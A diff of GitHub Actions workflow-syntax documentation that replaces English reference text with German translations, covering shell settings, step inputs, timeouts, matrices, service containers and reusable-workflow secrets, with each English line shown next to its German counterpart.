Ein Docker-Image in einer öffentlichen Registry. Dieses Beispiel verwendet die Google Container Registry unter `gcr.io`.
```yaml
jobs:
@ -495,11 +498,11 @@ jobs:
uses: docker://gcr.io/cloud-builders/gradle
```
#### Example: Using an action inside a different private repository than the workflow
#### Beispiel: Verwenden einer Aktion innerhalb eines anderen privaten Repositorys als dem Workflow
Your workflow must checkout the private repository and reference the action locally. Generate a {% data variables.product.pat_generic %} and add the token as an encrypted secret. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
Dein Workflow muss das private Repository auschecken und lokal auf die Aktion verweisen. Generiere ein {% data variables.product.pat_generic %}, und füge das Token als verschlüsseltes Geheimnis hinzu. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token) und [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets).
Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret.
Ersetze `PERSONAL_ACCESS_TOKEN` im Beispiel durch den Namen deines Geheimnisses.
```yaml
jobs:
@ -518,20 +521,20 @@ jobs:
### `jobs.<job_id>.steps[*].run`
Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command.
Führt Befehlszeilen-Programme über die Betriebssystem-Shell aus. Wenn du keinen `name` angibst, wird standardmäßig der im `run`-Befehl angegebene Text als Schrittname verwendet.
Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
Befehle greifen standardmäßig auf Shells zurück, für die keine Anmeldung erforderlich ist. Du kannst für die Ausführung von Befehlen eine andere Shell auswählen und die Shell anpassen. Weitere Informationen findest du unter [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example:
Jedes `run`-Schlüsselwort stellt einen neuen Prozess und eine neue Shell in der Runnerumgebung dar. Wenn du mehrzeilige Befehle angibst, werden alle Zeilen in derselben Shell ausgeführt. Beispiel:
* A single-line command:
* Einzeiliger Befehl:
```yaml
- name: Install Dependencies
run: npm install
```
* A multi-line command:
* Mehrzeiliger Befehl:
```yaml
- name: Clean install dependencies and build
@ -540,7 +543,7 @@ Each `run` keyword represents a new process and shell in the runner environment.
npm run build
```
Using the `working-directory` keyword, you can specify the working directory of where to run the command.
Mithilfe des `working-directory`-Schlüsselworts kannst du das Arbeitsverzeichnis angeben, in dem der Befehl ausgeführt werden soll.
```yaml
- name: Clean temp directory
@ -550,20 +553,20 @@ Using the `working-directory` keyword, you can specify the working directory of
### `jobs.<job_id>.steps[*].shell`
You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword.
Du kannst die Standardshelleinstellungen im Betriebssystem des Runners mithilfe des Schlüsselworts `shell` überschreiben. Du hast die Möglichkeit, integrierte `shell`-Schlüsselworte zu verwenden oder eine benutzerdefinierte Shelloptionen zu definieren. Der intern ausgeführte Shellbefehl führt eine temporäre Datei aus, die die im Schlüsselwort `run` angegebenen Befehle enthält.
| Supported platform | `shell` parameter | Description | Command run internally |
| Unterstützte Plattform | `shell`-Parameter | BESCHREIBUNG | Intern ausgeführter Befehl |
|--------------------|-------------------|-------------|------------------------|
| Linux / macOS | unspecified | The default shell on non-Windows platforms. Note that this runs a different command to when `bash` is specified explicitly. If `bash` is not found in the path, this is treated as `sh`. | `bash -e {0}` |
| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` |
| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` |
| All | `python` | Executes the python command. | `python {0}` |
| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` |
| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. |
| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. |
| Linux/macOS | unspecified | Die Standardshell auf Nicht-Windows-Plattformen. Beachte, dass dadurch ein anderer Befehl ausgeführt wird, wenn `bash` explizit angegeben wird. Wenn `bash` nicht im Pfad gefunden wird, wird es als `sh` behandelt. | `bash -e {0}` |
| Alle | `bash` | Dies ist die Standardshell auf Nicht-Windows-Plattformen mit einem Fallback zu `sh`. Wenn eine Bash-Shell für Windows angegeben wird, wird die in Git für Windows enthaltene Bash-Shell verwendet. | `bash --noprofile --norc -eo pipefail {0}` |
| All | `pwsh` | Der PowerShell Core. {% data variables.product.prodname_dotcom %} fügt die Erweiterung `.ps1` an deinen Skriptnamen an. | `pwsh -command ". '{0}'"` |
| All | `python` | Führt den Befehl Python aus. | `python {0}` |
| Linux/macOS | `sh` | Dies ist das Fallbackverhalten für Nicht-Windows-Plattformen, falls keine Shell bereitgestellt ist und `bash` nicht im Pfad gefunden wird. | `sh -e {0}` |
| Windows | `cmd` | {% data variables.product.prodname_dotcom %} fügt die Erweiterung `.cmd` an deinen Skriptnamen an und ersetzt `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
| Windows | `pwsh` | Dies ist die standardmäßig für Windows verwendete Shell. Der PowerShell Core. {% data variables.product.prodname_dotcom %} fügt die Erweiterung `.ps1` an deinen Skriptnamen an. Wenn in deinem selbstgehosteten Windows-Runner _PowerShell Core_ nicht installiert ist, wird stattdessen _PowerShell Desktop_ verwendet.| `pwsh -command ". '{0}'"`. |
| Windows | `powershell` | PowerShell Desktop. {% data variables.product.prodname_dotcom %} fügt die Erweiterung `.ps1` an deinen Skriptnamen an. | `powershell -command ". '{0}'"`. |
#### Example: Running a script using bash
#### Beispiel: Ausführen eines Skripts mithilfe von Bash
```yaml
steps:
@ -572,7 +575,7 @@ steps:
shell: bash
```
#### Example: Running a script using Windows `cmd`
#### Beispiel: Ausführen eines Skripts mithilfe der `cmd` unter Windows
```yaml
steps:
@ -581,7 +584,7 @@ steps:
shell: cmd
```
#### Example: Running a script using PowerShell Core
#### Beispiel: Ausführen eines Skripts mithilfe von PowerShell Core
```yaml
steps:
@ -590,7 +593,7 @@ steps:
shell: pwsh
```
#### Example: Using PowerShell Desktop to run a script
#### Beispiel: Verwenden von PowerShell Desktop zum Ausführen eines Skripts
```yaml
steps:
@ -599,7 +602,7 @@ steps:
shell: powershell
```
#### Example: Running a python script
#### Beispiel: Ausführen eines Python-Skripts
```yaml
steps:
@ -610,11 +613,11 @@ steps:
shell: python
```
#### Custom shell
#### Benutzerdefinierte Shell
You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`.
Du kannst den `shell`-Wert mithilfe von `command […options] {0} [..more_options]` auf eine Vorlagenzeichenfolge festlegen. {% data variables.product.prodname_dotcom %} interpretiert das erste durch ein Leerzeichen getrennte Wort in der Zeichenfolge als den Befehl und fügt den Dateinamen für das temporäre Skript bei `{0}` ein.
For example:
Beispiel:
```yaml
steps:
@ -624,39 +627,36 @@ steps:
shell: perl {0}
```
The command used, `perl` in this example, must be installed on the runner.
Der in diesem Beispiel verwendete Befehl `perl` muss im Runner installiert werden.
{% ifversion ghae %}
{% data reusables.actions.self-hosted-runners-software %}
{% elsif fpt or ghec %}
For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% elsif fpt or ghec %} Unter [Spezifikationen zu auf GitHub gehosteten Runnern](/actions/reference/specifications-for-github-hosted-runners#supported-software) findest du Informationen zur Software, die in den auf GitHub gehosteten Runnern enthalten ist.
{% endif %}
#### Exit codes and error action preference
#### Exit-Codes und Voreinstellung für Fehleraktionen
For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts.
Für integrierte Shell-Schlüsselwörter gelten die folgenden Standards, die durch auf {% data variables.product.prodname_dotcom %} gehostete Runner ausgeführt werden. Beachte diese Richtlinien beim Ausführen von Shell-Skripts.
- `bash`/`sh`:
- Fail-fast behavior using `set -eo pipefail`: This option is set when `shell: bash` is explicitly specified. It is not applied by default.
- You can take full control over shell parameters by providing a template string to the shell options. For example, `bash {0}`.
- sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code.
- Fail-Fast-Verhalten mit `set -eo pipefail`: Diese Option wird festgelegt, wenn `shell: bash` explizit angegeben wird. Sie wird standardmäßig nicht angewendet.
- Du kannst die volle Kontrolle über Shellparameter übernehmen, indem du einen Vorlagen-String für die Shelloptionen bereitstellst. Beispiel: `bash {0}`.
- sh-ähnliche Shells liefern beim Beenden als ihren eigenen Exit-Code den Exit-Code des letzten Befehls, der im Skript ausgeführt wurde. Dies ist auch das Standardverhalten für Aktionen. Der Runner meldet den Status des Schritts gemäß diesem Exit-Code als Fehler/Erfolg.
- `powershell`/`pwsh`
- Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents.
- We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code.
- Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need.
- Fail-Fast-Verhalten, soweit möglich. Bei den integrierten Shells `pwsh` und `powershell` wird den Skriptinhalten `$ErrorActionPreference = 'stop'` vorangestellt.
- PowerShell-Skripts wird `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` angefügt, damit Aktionsstatus den letzten Exitcode des Skripts widerspiegeln.
- Benutzer*innen haben immer die Möglichkeit, die integrierte Shell nicht zu verwenden und stattdessen eine benutzerdefinierte Shelloption wie `pwsh -File {0}` oder `powershell -Command "& '{0}'"` (je nach Bedarf) bereitzustellen.
- `cmd`
- There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script.
- `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact.
- Wenn du das Fail-Fast-Verhalten uneingeschränkt nutzen möchtest, hast du anscheinend keine andere Wahl, als dein Skript so zu schreiben, dass jeder Fehlercode geprüft und eine entsprechende Reaktion eingeleitet wird. Dieses Verhalten kann nicht standardmäßig bereitgestellt werden. Du musst es explizit in dein Skript schreiben.
- `cmd.exe` wird mit der Fehlerstufe des zuletzt ausgeführten Programms beendet, und dieser Fehlercode wird an den Runner zurückgegeben. Dieses Verhalten ist intern mit dem vorherigen `sh`- und `pwsh`-Standardverhalten konsistent und entspricht dem `cmd.exe`-Standard, sodass dieses Verhalten intakt bleibt.
### `jobs.<job_id>.steps[*].with`
A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case.
Dies ist eine `map` der Eingabeparameter, die durch die Aktion definiert werden. Jeder Eingabeparameter ist ein Schlüssel-Wert-Paar. Eingabeparameter werden als Umgebungsvariablen festgelegt. Die Variable wird mit dem Präfix `INPUT_` versehen und in Großbuchstaben konvertiert.
#### Example
#### Beispiel
Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables.
Die drei Eingabeparameter (`first_name`, `middle_name` und `last_name`) werden durch die `hello_world`-Aktion definiert. Diese Eingabevariablen sind für die `hello-world`-Aktion über die Umgebungsvariablen `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME` und `INPUT_LAST_NAME` zugänglich.
```yaml
jobs:
@ -672,9 +672,9 @@ jobs:
### `jobs.<job_id>.steps[*].with.args`
A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter.
Dies ist ein `string`, der die Eingaben für einen Docker-Container definiert. {% data variables.product.prodname_dotcom %} übergibt `args` beim Start des Containers an dessen `ENTRYPOINT`. Ein `array of strings` wird von diesem Parameter nicht unterstützt.
#### Example
#### Beispiel
{% raw %}
```yaml
@ -687,17 +687,17 @@ steps:
```
{% endraw %}
The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
Die `args`-Elemente werden anstelle der `CMD`-Anweisung in `Dockerfile` verwendet. Wenn du `CMD` in `Dockerfile` verwendest, befolge diese Hinweise (nach Präferenz sortiert):
1. Document required arguments in the action's README and omit them from the `CMD` instruction.
1. Use defaults that allow using the action without specifying any `args`.
1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting.
1. Dokumentiere die erforderlichen Argumente in der README-Datei der Aktion, und lasse sie in der `CMD`-Anweisung weg.
1. Verwende Standardwerte, die die Verwendung der Aktion ohne die Angabe von `args` ermöglichen.
1. Wenn die Aktion ein `--help`-Flag oder etwas ähnliches verfügbar macht, verwende dies als Standard, damit die Aktion selbstdokumentierend wird.
### `jobs.<job_id>.steps[*].with.entrypoint`
Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run.
Hiermit wird `ENTRYPOINT` für Docker in `Dockerfile` überschrieben oder ein Einstiegspunkt festgelegt, falls noch keiner vorhanden ist. Im Gegensatz zur Docker-Anweisung `ENTRYPOINT` mit einer Shell und einem Ausführungsformat, akzeptiert das Schlüsselwort `entrypoint` nur eine einzelne Zeichenfolge, die die ausführbare Datei definiert, die ausgeführt werden soll.
#### Example
#### Beispiel
```yaml
steps:
@ -707,17 +707,17 @@ steps:
entrypoint: /a/different/executable
```
The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs.
Das Schlüsselwort `entrypoint` ist für die Verwendung mit Docker-Containeraktionen vorgesehen, du kannst es jedoch auch mit JavaScript-Aktionen verwenden, die keine Eingaben definieren.
### `jobs.<job_id>.steps[*].env`
Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs.<job_id>.env`](#jobsjob_idenv).
Legt Umgebungsvariablen für Schritte fest, die in der Runner-Umgebung verwendet werden sollen. Darüber hinaus kannst du Umgebungsvariablen für den gesamten Workflow oder für einen Auftrag festlegen. Weitere Informationen findest du unter [`env`](#env) und [`jobs.<job_id>.env`](#jobsjob_idenv).
{% data reusables.repositories.actions-env-var-note %}
Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)."
Die erwarteten Umgebungsvariablen können durch öffentliche Aktionen in der README-Datei angegeben werden. Wenn du ein Geheimnis in einer Umgebungsvariablen festlegst, musst du Geheimnisse mithilfe des `secrets`-Kontexts angeben. Weitere Informationen findest du unter [Verwenden von Umgebungsvariablen](/actions/automating-your-workflow-with-github-actions/using-environment-variables) und [Kontexte](/actions/learn-github-actions/contexts).
#### Example
#### Beispiel
{% raw %}
```yaml
@ -732,41 +732,41 @@ steps:
### `jobs.<job_id>.steps[*].continue-on-error`
Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails.
Verhindert das Fehlschlagen eines Auftrags, wenn ein Schritt fehlschlägt. Lege dies auf `true` fest, damit ein Auftrag erfolgreich abgeschlossen werden kann, wenn bei diesem Schritt ein Fehler auftritt.
### `jobs.<job_id>.steps[*].timeout-minutes`
The maximum number of minutes to run the step before killing the process.
Maximaler Zeitraum in Minuten für die Ausführung des Schritts, bevor der Prozess abgebrochen wird.
## `jobs.<job_id>.timeout-minutes`
The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360
Die maximale Anzahl von Minuten, die ein Job ausgeführt wird, bevor {% data variables.product.prodname_dotcom %} automatisch abbricht. Standard: 360
If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
Sollte das Timeout das Zeitlimit für die Auftragsausführung für den Runner überschreitet, wird der Auftrag abgebrochen, wenn stattdessen das Zeitlimit für die Ausführung erreicht wird. Weitere Informationen zu Zeitlimits für die Auftragsausführung findest du unter {% ifversion fpt or ghec or ghes %}[Nutzungseinschränkungen und Abrechnung](/actions/reference/usage-limits-billing-and-administration#usage-limits) für auf {% data variables.product.prodname_dotcom %} gehostete Runner und unter {% endif %}[Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %} für Nutzungseinschränkungen für selbstgehostete Runner.{% elsif ghae %}.{% endif %}
{% note %}
**Note:** {% data reusables.actions.github-token-expiration %} For self-hosted runners, the token may be the limiting factor if the job timeout is greater than 24 hours. For more information on the `GITHUB_TOKEN`, see "[About the `GITHUB_TOKEN` secret](/actions/security-guides/automatic-token-authentication#about-the-github_token-secret)."
**Hinweis:** {% data reusables.actions.github-token-expiration %} Für selbstgehostete Runner kann das Token der begrenzende Faktor sein, wenn das Auftragstimeout mehr als 24 Stunden beträgt. Weitere Informationen zu `GITHUB_TOKEN` findest du unter [Informationen zum `GITHUB_TOKEN`-Geheimnis](/actions/security-guides/automatic-token-authentication#about-the-github_token-secret).
{% endnote %}
## `jobs.<job_id>.strategy`
Use `jobs.<job_id>.strategy` to use a matrix strategy for your jobs. {% data reusables.actions.jobs.about-matrix-strategy %} For more information, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
Mithilfe von `jobs.<job_id>.strategy` kannst du eine Matrixstrategie für deine Aufträge verwenden. {% data reusables.actions.jobs.about-matrix-strategy %} Weitere Informationen findest du unter [Verwenden einer Matrix für deine Aufträge](/actions/using-jobs/using-a-matrix-for-your-jobs).
### `jobs.<job_id>.strategy.matrix`
{% data reusables.actions.jobs.using-matrix-strategy %}
#### Example: Using a single-dimension matrix
#### Beispiel: Verwenden einer Matrix mit einer einzelnen Dimension
{% data reusables.actions.jobs.single-dimension-matrix %}
#### Example: Using a multi-dimension matrix
#### Beispiel: Verwenden einer Matrix mit mehreren Dimensionen
{% data reusables.actions.jobs.multi-dimension-matrix %}
#### Example: Using contexts to create matrices
#### Beispiel: Erstellen von Matrizen mithilfe von Kontexten
{% data reusables.actions.jobs.matrix-from-context %}
@ -774,11 +774,11 @@ Use `jobs.<job_id>.strategy` to use a matrix strategy for your jobs. {% data reu
{% data reusables.actions.jobs.matrix-include %}
#### Example: Expanding configurations
#### Beispiel: Erweitern von Konfigurationen
{% data reusables.actions.jobs.matrix-expand-with-include %}
#### Example: Adding configurations
#### Beispiel: Hinzufügen von Konfigurationen
{% data reusables.actions.jobs.matrix-add-with-include %}
@ -796,11 +796,11 @@ Use `jobs.<job_id>.strategy` to use a matrix strategy for your jobs. {% data reu
## `jobs.<job_id>.continue-on-error`
Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails.
Verhindert, dass ein Workflow scheitert, wenn ein Job scheitert. Lege dies auf `true` fest, damit eine Workflowausführung erfolgreich abgeschlossen werden kann, wenn bei diesem Auftrag ein Fehler auftritt.
### Example: Preventing a specific failing matrix job from failing a workflow run
### Beispiel: Verhindern, dass ein bestimmter fehlgeschlagener Matrixauftrag zu einem Fehler bei einer Workflowausführung führt
You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run.
Du kannst zulassen, dass bestimmte Jobs in einer Jobmatrix scheitert, ohne dass der Workflow-Lauf scheitert. Dies gilt beispielsweise, wenn du festlegen möchtest, dass nur bei einem experimentellen Auftrag, für den `node` auf `15` festgelegt ist, ein Fehler auftreten darf, ohne dass dadurch ein Fehler bei der Workflowausführung auftritt.
{% raw %}
```yaml
@ -853,17 +853,17 @@ strategy:
{% data reusables.actions.docker-container-os-support %}
Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner automatically creates a Docker network and manages the life cycle of the service containers.
Wird zum Betrieb von Servicecontainern für einen Job in einem Workflow verwendet. Servicecontainer sind nützlich, um Datenbanken oder Cache-Dienste wie Redis zu erstellen. Der Runner erstellt automatisch ein Docker-Netzwerk und verwaltet den Lebenszyklus der Service-Container.
If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow.
Wenn du deinen Auftrag so konfigurierst, dass er in einem Container ausgeführt wird, oder wenn dein Schritt Containeraktionen verwendet, brauchst du keine Ports zuzuordnen, um auf den Dienst oder die Aktion zuzugreifen. Docker öffnet automatisch alle Ports zwischen Containern im selben benutzerdefinierten Bridge-Netzwerk des Dockers. Du kannst den Servicecontainer direkt mit seinem Hostnamen referenzieren. Der Hostname wird automatisch dem Namen der Bezeichnung zugeordnet, die du für den Dienst im Workflow konfigurierst.
If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port.
Wenn du den Auftrag so konfigurierst, dass er direkt auf dem Runnercomputer ausgeführt wird und dein Schritt keine Containeraktion verwendet, musst du alle erforderlichen Ports des Docker-Servicecontainers dem Docker-Host (dem Runnercomputer) zuordnen. Du kannst auf den Servicecontainer über localhost und den zugeordneten Port zugreifen.
For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)."
Weitere Informationen zu den Unterschieden zwischen Netzwerkdienstcontainern findest du unter [Informationen zu Dienstcontainern](/actions/automating-your-workflow-with-github-actions/about-service-containers).
### Example: Using localhost
### Beispiel: Verwenden des Localhosts
This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts.
Dieses Beispiel erzeugt zwei Dienste: nginx und redis. Wenn du den Port des Docker-Hosts angibst, aber nicht den des Containers, dann wird der Containerport einem beliebigen freien Port zugewiesen. {% data variables.product.prodname_dotcom %} legt den zugewiesenen Containerport im {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %}-Kontext fest. In diesem Beispiel kannst du mithilfe der Kontexte {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} und {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} auf die Dienstcontainerports zugreifen.
```yaml
services:
@ -881,13 +881,13 @@ services:
### `jobs.<job_id>.services.<service_id>.image`
The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a registry name.
Docker-Image, das beim Ausführen der Aktion als Dienstcontainer herangezogen wird. Der Wert kann der Name des Docker Hub-Images oder ein Registrierungsname sein.
### `jobs.<job_id>.services.<service_id>.credentials`
{% data reusables.actions.registry-credentials %}
#### Example
#### Beispiel
{% raw %}
```yaml
@ -907,23 +907,23 @@ services:
### `jobs.<job_id>.services.<service_id>.env`
Sets a `map` of environment variables in the service container.
Hiermit wird eine `map` von Umgebungsvariablen im Dienstcontainer festgelegt.
### `jobs.<job_id>.services.<service_id>.ports`
Sets an `array` of ports to expose on the service container.
Hiermit wird ein `array` von Ports festgelegt, die auf dem Dienstcontainer verfügbar gemacht werden sollen.
### `jobs.<job_id>.services.<service_id>.volumes`
Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
Hiermit wird ein `array` von Volumes festgelegt, die der Dienstcontainer verwenden soll. Mithilfe von Volumes kannst du Daten zwischen Diensten oder anderen Schritten in einem Auftrag austauschen. Du kannst benannte Docker-Volumes, anonyme Docker-Volumes oder Bind-Mounts auf dem Host angegeben.
To specify a volume, you specify the source and destination path:
Um ein Volume festzulegen, gibst du den Quell- und Zielpfad an:
`<source>:<destinationPath>`.
The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
`<source>` ist ein Volumename oder ein absoluter Pfad auf dem Hostcomputer, und `<destinationPath>` ist ein absoluter Pfad im Container.
#### Example
#### Beispiel
```yaml
volumes:
@ -934,11 +934,11 @@ volumes:
### `jobs.<job_id>.services.<service_id>.options`
Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
Zusätzliche Optionen für die Docker-Container-Ressource. Eine Liste der Optionen findest du unter [`docker create`-Optionen](https://docs.docker.com/engine/reference/commandline/create/#options).
{% warning %}
**Warning:** The `--network` option is not supported.
**Warnung**: Die `--network`-Option wird nicht unterstützt.
{% endwarning %}
@ -947,25 +947,25 @@ Additional Docker container resource options. For a list of options, see "[`dock
{% data reusables.actions.reusable-workflows-enterprise-beta %}
The location and version of a reusable workflow file to run as a job. {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}Use one of the following syntaxes:{% endif %}
Dies ist der Speicherort und die Version einer wiederverwendbaren Workflowdatei, die als Auftrag ausgeführt werden soll. {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}Verwende eine der folgenden Syntaxen:{% endif %}
{% data reusables.actions.reusable-workflow-calling-syntax %}
### Example
### Beispiel
{% data reusables.actions.uses-keyword-example %}
For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/learn-github-actions/reusing-workflows).
### `jobs.<job_id>.with`
When a job is used to call a reusable workflow, you can use `with` to provide a map of inputs that are passed to the called workflow.
Wenn ein Auftrag zum Aufrufen eines wiederverwendbaren Workflows verwendet wird, kannst du mit `with` eine Zuordnung von Eingaben bereitstellen, die an den aufgerufenen Workflow übergeben werden.
Any inputs that you pass must match the input specifications defined in the called workflow.
Alle Eingaben, die du übergibst, müssen den im aufgerufenen Workflow definierten Eingabespezifikationen entsprechen.
Unlike [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs.<job_id>.with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context.
Im Gegensatz zu [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith) sind die mit `jobs.<job_id>.with` übergebenen Eingaben nicht als Umgebungsvariablen im aufgerufenen Workflow verfügbar. Stattdessen kannst du mithilfe des `inputs`-Kontexts auf die Eingaben verweisen.
#### Example
#### Beispiel
```yaml
jobs:
@ -977,17 +977,17 @@ jobs:
### `jobs.<job_id>.with.<input_id>`
A pair consisting of a string identifier for the input and the value of the input. The identifier must match the name of an input defined by [`on.workflow_call.inputs.<inputs_id>`](/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id) in the called workflow. The data type of the value must match the type defined by [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype) in the called workflow.
Dies ist ein aus einem Zeichenfolgenbezeichner für die Eingabe und dem Wert für die Eingabe bestehendes Paar. Der Bezeichner muss mit dem Namen der Eingabe übereinstimmen, die von [`on.workflow_call.inputs.<inputs_id>`](/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id) im aufgerufenen Workflow definiert wird. Der Datentyp des Werts muss mit dem Typ übereinstimmen, der von [`on.workflow_call.inputs.<input_id>.type`](#onworkflow_callinputsinput_idtype) im aufgerufenen Workflow definiert wird.
Allowed expression contexts: `github`, and `needs`.
Zulässiger Ausdruckskontext: `github` und `needs`.
### `jobs.<job_id>.secrets`
When a job is used to call a reusable workflow, you can use `secrets` to provide a map of secrets that are passed to the called workflow.
Wenn ein Auftrag zum Aufrufen eines wiederverwendbaren Workflows verwendet wird, kannst du mit `secrets` eine Zuordnung von Geheimnissen bereitstellen, die an den aufgerufenen Workflow übergeben werden.
Any secrets that you pass must match the names defined in the called workflow.
Alle Geheimnisse, die du übergibst, müssen mit den Namen übereinstimmen, die im aufgerufenen Workflow definiert sind.
#### Example
#### Beispiel
{% raw %}
```yaml
@ -1003,9 +1003,9 @@ jobs:
### `jobs.<job_id>.secrets.inherit`
